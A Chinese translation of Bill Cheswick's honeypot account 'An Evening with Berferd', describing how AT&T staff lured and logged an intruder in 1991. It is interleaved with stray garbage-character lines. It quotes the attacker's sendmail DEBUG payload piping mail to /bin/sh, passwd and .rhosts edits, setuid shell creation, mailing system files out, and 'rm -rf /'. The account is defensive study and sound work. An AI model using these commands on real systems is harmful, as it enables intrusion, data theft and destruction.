引诱、欺骗并研究一个黑客——陪伴berferd的一个夜晚

在1991年1月7号，一个黑客，他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客，试图获得我们的password文件，我“送”给他了一份。
在几个月中，我们引诱这名黑客作各种快乐的尝试，以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败，我们使用的诱饵和陷阱的详细记录
我们的结论是我们所遇到的这个黑客拥有大量的时间，固执异常，并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份，使用那些漏洞他可以轻易的攻破uucp和bin帐号，然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。
  C, u8 w& D$ o6 X7 l- T简介
我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门，我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人，那么他们是谁？他们会攻击什么地方？会多么频繁？他们经常尝试系统的那些漏洞？
事实上，他们没有对AT&T作出破坏，甚至很少光顾我们的这扇大门，那么，最终的乐趣只有如此，引诱一个黑客到一个我们设计好的环境中，记录下来他的所有动作，研究其行为，并提醒他的下一个目标作出防范。
" o6 K" u# W. G. K. o( R$ L, C: v大多数Internet上的工作站很少提供工具来作这些事情，商业系统检测并报告一些问题，但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢？
我们添加了一些虚假的服务在系统上，同时我编写了一个script文件用来检索每天的日志。我们检查以下几点：
8 F4 q5 P0 E- RFTP ：检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用（这是个老版本的ftp的漏洞）、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称，然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下，我们伪造了一个passwd文件，它的密码被破解后是“why are you wasting your time.”
5 s. e- u8 X- t' STelnet / login ：所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号，或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户，很容易就可以找到问题所在。
Guest / visitor 帐号：黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的，最轻易的获取几乎系统的所有文件的机会，包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的：
exec 2>/dev/null # ensure that stderr doesn't appear
trap "" 1
/bin/echo
& B* X4 o! x7 T# v% p  z8 J& f# W( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
upasname=adm /bin/mail ches dangelo &
# (notify calling machine's administrator for some machines...)
2 r# ?0 c5 Q7 [8 S# (finger the calling machine...)
) 2>&1 | mail ches dangelo
/bin/echo "/tmp full"
sleep 5 # I love to make them wait....
% n, ]: Q& o' ~5 U/bin/echo "/tmp full"
/bin/echo "/tmp full"
  _8 H% i/ l% B" V/bin/echo
8 N# [) L" y' Z( n9 u3 Isleep 60 # ... and simulating a busy machine is useful
我们必须小心以便不让调用者看到系统的标志出错信息（如果一旦我们编写的script有误）。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login，它将可以通过环境变量来获取。
SMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞，但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时，我就获得了他尝试的script代码。
Finger ：Finger提供了大量有用的信息给黑客：帐号名，该帐号的最后一次使用时间，以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人，我们置入了一个程序，在finger了fingerd的调用者后拒绝figner请求。（当然我们会避免对来自自己的finger信息的死循环）。报告表明每天有数以十计的finger请求，其中大部分是合法的。
; G3 v/ [7 M+ N3 O( @; pRlogin / rsh ：这些命令都是基于一些无条件信任的系统，我们的机器并不支持。但我们会finger使用这些命令的用户，并将他的尝试和用户信息等生成报告。
0 \) S% F- f1 i' S5 O: ^4 @% X6 S上述很多探测器都使用figner命令来查明调用的机器和使用者。
当一个尝试显示为有不合法企图时，我就发出这样一条消息：
9 `; A  c' M4 z6 K( \7 pinetfans postmaster@sdsu.edu
Yesterday someone from math.sdsu.edu fetched the /etc/passwd file
5 T* c8 |7 o* ]; o6 z) R2 D  pfrom our FTP directory. The file is not important, but these probes
are sometimes performed from stolen accounts.
Just thought you'd like to know.
Bill Cheswick
8 Y) y. c/ b) E8 a' q! \这是一个典型的信件，它被发往“inetfans”，这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。
很多系统管理员很重视这些报告，尤其是军事站点。通常，系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉，拒绝信件，关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时，我们会考虑拒收来自该站的所有信息包。
% n9 ^& X+ i8 j6 y& A5 G不友好的行动
. n( Q( @  g) G. D& A我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高，因为我们是广为人知的，并被认为是“电话公司”。
" W1 @8 i$ b1 `. b7 y0 m1 t$ m: A: B6 V当一个远程使用者取走passwd文件时，并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。
8 q. ]. p, E# T2 }0 U  b  p" j19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
19:43:14 smtpd[27466]: -------> debug
( L1 ]9 Z4 I2 H. y5 P$ J/ s" I- ^19:43:14 smtpd[27466]: DEBUG attempt
& w) c) j0 v, r4 R5 r19:43:14 smtpd[27466]: <--- 200 OK
19:43:25 smtpd[27466]: -------> mail from:
( z, P7 i" l' `/ v19:43:25 smtpd[27466]: <--- 503 Expecting HELO
& ~. M1 m8 m( U( j. u0 ]19:43:34 smtpd[27466]: -------> helo
19:43:34 smtpd[27466]: HELO from
  R. M, W6 N" B: |% G19:43:34 smtpd[27466]: <--- 250 inet.att.com
# s2 z% d1 K2 E19:43:42 smtpd[27466]: -------> mail from:
# h5 V9 Y9 I" O: Y19:43:42 smtpd[27466]: <--- 250 OK
19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
4 r. t9 ]; O% p+ {3 E; I. x& L7 G19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
19:44:45 smtpd[27466]: <--- 250 OK
19:44:48 smtpd[27466]: -------> data
# s" K# Z. K( O5 |2 T% I$ l19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
19:45:04 smtpd[27466]: <--- 250 OK
19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
  A+ o8 W' z+ _, X19:45:08 smtpd[27466]: -------> quit
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
/ V3 b* N$ S' o; E& w  P/ g19:45:08 smtpd[27466]: finished.
这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中，另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即：
" c* ?) G- R5 {sed -e '1,/?$/'d | /bin/sh ; exit 0"
& b$ w+ r) m3 q* p) n" [它剥去了邮件头，并使用ROOT身份执行了消息体。这段消息邮寄给了我，这是我记录下来的，包含时间戳：
19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件，就用root身份给Stanford发了过去。
第二个早晨，我听到了来自Stanford的消息：他们知道了这件事，并正在发现问题所在。他们说adrian这个帐号被盗用了。
接着的一个星期天我接到了从法国发来的一封信：
' h( \/ D7 i) cTo: root@research.att.com
Subject: intruder
& {& M5 v; @% v8 F' f6 p: H' NDate: Sun, 20 Jan 91 15:02:53 +0100
# T) }9 `4 q! r) O" jI have just closed an account on my machine
which has been broken by an intruder coming from embezzle.stanford.edu. He
/ z% D' W9 G1 k(she) has left a file called passwd. The contents are:
. P7 v$ o( U0 C, u------------>
9 C7 F8 B7 u/ M5 n5 U1 p3 ^# g- XFrom root@research.att.com Tue Jan 15 18:49:13 1991
$ a- r# L6 U" x  P+ ZReceived: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
Tue, 15 Jan 91 18:49:12 -0800
Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
/ S3 }7 A* e4 m8 B; e) UFrom: root@research.att.com
Date: Tue, 15 Jan 91 21:48 EST
7 B( m7 J- B& _3 eTo: adrian@embezzle.stanford.edu
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
& w7 ]1 p# A3 qDaemon: *:1:1:0000-Admin(0000):/:
Bin: *:2:2:0000-Admin(0000):/bin:
0 j9 P/ c" C2 _Sys: *:3:3:0000-Admin(0000):/usr/v9/src:
6 S& ?4 M0 c, u' e4 D, k" t- NAdm: *:4:4:0000-Admin(0000):/usr/adm:
Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
* J  x/ v! N1 v* }Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
Ftp: anonymous:71:14:file transfer:/:no soap
1 m2 J. }# e9 NChes: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
* T! f. X3 G3 n  ]$ r0 j: P6 J$ F' O; RDmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
. B5 _4 Z# i+ vBerferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
0 D) J4 s4 x+ k# _4 ATd: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
, R4 j" [, y7 PStatus: R
7 ]1 y+ }3 Z4 s. v+ q1 K------------Please let me know if you heard of him.
陪伴Berferd的一个夜晚
, X8 c/ h' A& C; Q1月20号，星期天晚上，我的终端报告有安全敏感事件。
22:33 finger attempt on berferd
几分钟后，有人试图使用DEBUG来用ROOT身份执行命令，他试图修改我们的passwd文件！
# L9 H- o4 y. y% U; n22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd
cp /bin/sh /tmp/shell
chmod 4755 /tmp/shell
连接同样来自EMBEZZLE.STANFORD.EDU。
我该怎么作呢？我不希望他真的能获得一个网关的帐号，为什么引狼入室呢？那样我将得不到他的键盘活动。
& w2 G# F7 U0 n我应该继续看看他关注的其他事情，或许我可以手工模拟一下操作系统，这意味着我必须让他以为机器速度很慢，因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。
我已经有一个要求了，因为他已经持有了一份passwd。
决定一：ftp的passwd是一个真实的passwd。
还有另外的两个：
决定二：网关机器管理极差。（有DEBUG漏洞，ftp目录里有passwd）。
6 i, ?4 G( q' H" t决定三：网关机器极慢。
# g+ [- f+ ^( ]7 K- g因此我决定让他以为他已经改变了passwd文件，但却不急于让他进来。我必须生成一个帐号，但却使它不可操作。我应该怎么办？
决定四：我的shell并没有放在/bin下，它放在其他地方。这样，他进来后（让他认为passwd已经改动了），没有可运行的shell。
这个决定很愚蠢，但我不会因此损失任何东西。我写了一个script，生成了一个临时帐号b，当它被调用时它会给我发信，调用者将看到如下信息：
RISC/os (inet)
. ]/ K' I: I) n! dlogin: b
/ y+ ^( F# s; g3 U2 lRISC/os (UMIPS) 4.0 inet
Copyright 1986, MIPS Computer Systems
+ N. }6 j5 L* N. t1 |# kAll Rights Reserved
# ?* K0 J5 r& l; ?; gShell not found
我把b帐号在实际passwd文件中改成了beferd，当我作完后，他在此尝试：
22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
他的另一个试图添加到passwd文件的尝试。事实上，在我为bferd完成新的配置之前他开始急躁了：
0 s' j9 @9 {. ^7 c0 e22:45 talk adrian@embezzle.stand?Hford.edu
2 z. |+ r( C+ \% Y$ p, v; dtalk adrian@embezzle.stanford.edu
决定五：我们没有talk这个命令。
% z  _2 v  w# w" m5 _他选择了berferd这个帐号：
. l3 F, }$ [0 ?2 j4 h22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
, T# J8 S: V+ t) ~; T* K8 {3 k22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
5 p- k% z1 H  Q0 A22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
: D$ ^$ V+ s# @22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
! X5 }: W+ P. A- p$ U22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
: p. |% _9 k, x22:57 (Added bfrd to the real password file.)
. T4 Q: w6 V! r3 C0 }22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
" w% u3 h: c9 L# ^0 ^" _7 V22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
2 g* f) E7 W/ p* z23:05 echo "36.92.0.205" >/dev/null
echo "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
/ z# |. [3 Q) v6 x& ?, d23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
3 t3 L0 n7 X; n$ B6 t很显然他希望能够rlogin到我们的网关，这需要一些本地文件的特定设置。我们并没有作rlogin的检测。
3 m! [, C' z9 b2 m& q, u这时他又有新的动作：
% v% i* A# Z4 |; Q2 Y23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
3 o; ~" v) Q0 D( ]23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
ps -aux|mail adrian@embezzle.stanford.edu
) u- B8 ^1 v% A3 A2 v8 |在rlogin失败后，他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf，但伪造一个又非常困难。
* C& x, T4 A  P3 v4 V# k决定七：网关机器运行不稳定，时有不确定事件。
23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
+ P+ @8 D6 e8 v; eecho "embezzle.stanford.edu adrian" >> /tmp/.rhosts
+ o  U! J  E  u2 Cps -aux|mail adrian@embezzle.stanford.edu
mail adrian@embezzle.stanford.edu < /etc/inetd.conf
! ^3 n/ K' H/ k2 u$ W+ b1 O$ E我不希望他看到ps的结果，幸运的是，他的Berkeley系统的ps命令在我的System V机器上是无效的。
这时我通知了CERT，这时一起严重的攻击事件，在Stanford也应该有追踪这些请求的人。这时，活动又转到ftp上来：
Jan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
) R" I9 a- }/ P& |$ h  l- AJan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
Jan 20 23:37:06 inet ftpd[14437]: -------> pass?M
6 q2 H# n9 I% \% F' ]0 |Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M
3 U( E% g4 ^( p: S. B3 f& ?. q! oJan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
) `9 _9 t+ G0 q/ e9 k0 l( zJan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
' @: f/ Q  h! I( E: j7 q2 G. C; AJan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are
recognized (* =>'s unimplemented).
Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
Jan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
Jan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
Jan 20 23:37:31 inet ftpd[14437]: Logout, status 0
4 }$ }2 a5 b* b# V$ WJan 20 23:37:31 inet inetd[116]: exit 14437
Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454
2 G9 F$ H( X9 i- {+ h* iJan 20 23:37:41 inet inetd[116]: exit 14454
23:38 finger attempt on berferd
/ P7 v; K, _5 R& Z: b, f& h23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
  H0 P: G8 I  L8 [6 |cp /bin/sh /usr/etc/fingerd
! X( x- {# C& Z4 [+ `: [决定四已经决定了最后一行的尝试必然失败。因此，他只是破坏了我们模拟的机器上的finger而已，并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
' l1 j1 R7 D/ }2 K& C# M9 f$ ]23:58 cp /bin/csh /usr/etc/fingerd
& [3 {/ `+ t( x* A! y我们模拟的机器上csh并不在/bin下，因此这个命令无效。
: [; B0 a8 j8 n( ]00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
好吧，fingerd现在重新开始工作。Berferd的恢复工作干的不错。
$ V6 f- [3 c5 I5 u9 l4 a: q00:14 passwd bfrt
bfrt
* I- |& T  f1 ?# a0 r8 c8 \  v( ^! ebfrt
6 f" f8 G$ _" p) A3 x现在他试图修改password，这永远不会成功，因为passwd的输入是/dev/tty，不是sendmail所执行的shell script。
' y; s* R" K0 r" U00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
' V" q! h, [# s1 T; K00:17 echo "/bin/sh" > /tmp/Shell
, a# j2 D9 k' Q1 P" ?& J: F. nchmod 755 /tmp/shell
chmod 755 /tmp/Shell
! M( x: M2 K* H; r) `& ]00:19 chmod 4755 /tmp/shell
4 Z. f: \! E: n1 p, E00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
+ H, D2 p. b$ S5 k! _1 l这时我已经很累了。
5 A. |4 L( P0 x01:55 rm -rf /&
* }* @4 B0 `8 W: U% X: P喔！！太狠了！显然机器的状态让他迷惑，他希望能清除所有的痕迹。有些黑客会保护自己所作的工作，声明自己不作任何破坏。我们的黑客对我们感到疲劳了，因此以此结束。
他继续工作了几分钟，后来放弃：
07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
07:14 rm -rf /&
07:17 finger attempt on berferd
3 R5 Z2 P6 J" _: T2 U1 U- y; i3 [07:19 /bin/rm -rf /&
/bin/rm -rf /&
3 b( R/ ^: X) C7 A07:23 /bin/rm -rf /&
& K* ?3 ]6 t( ^( `! g) ]" A7 ]* E07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
8 K- q7 \# ?( `- ]- E/ c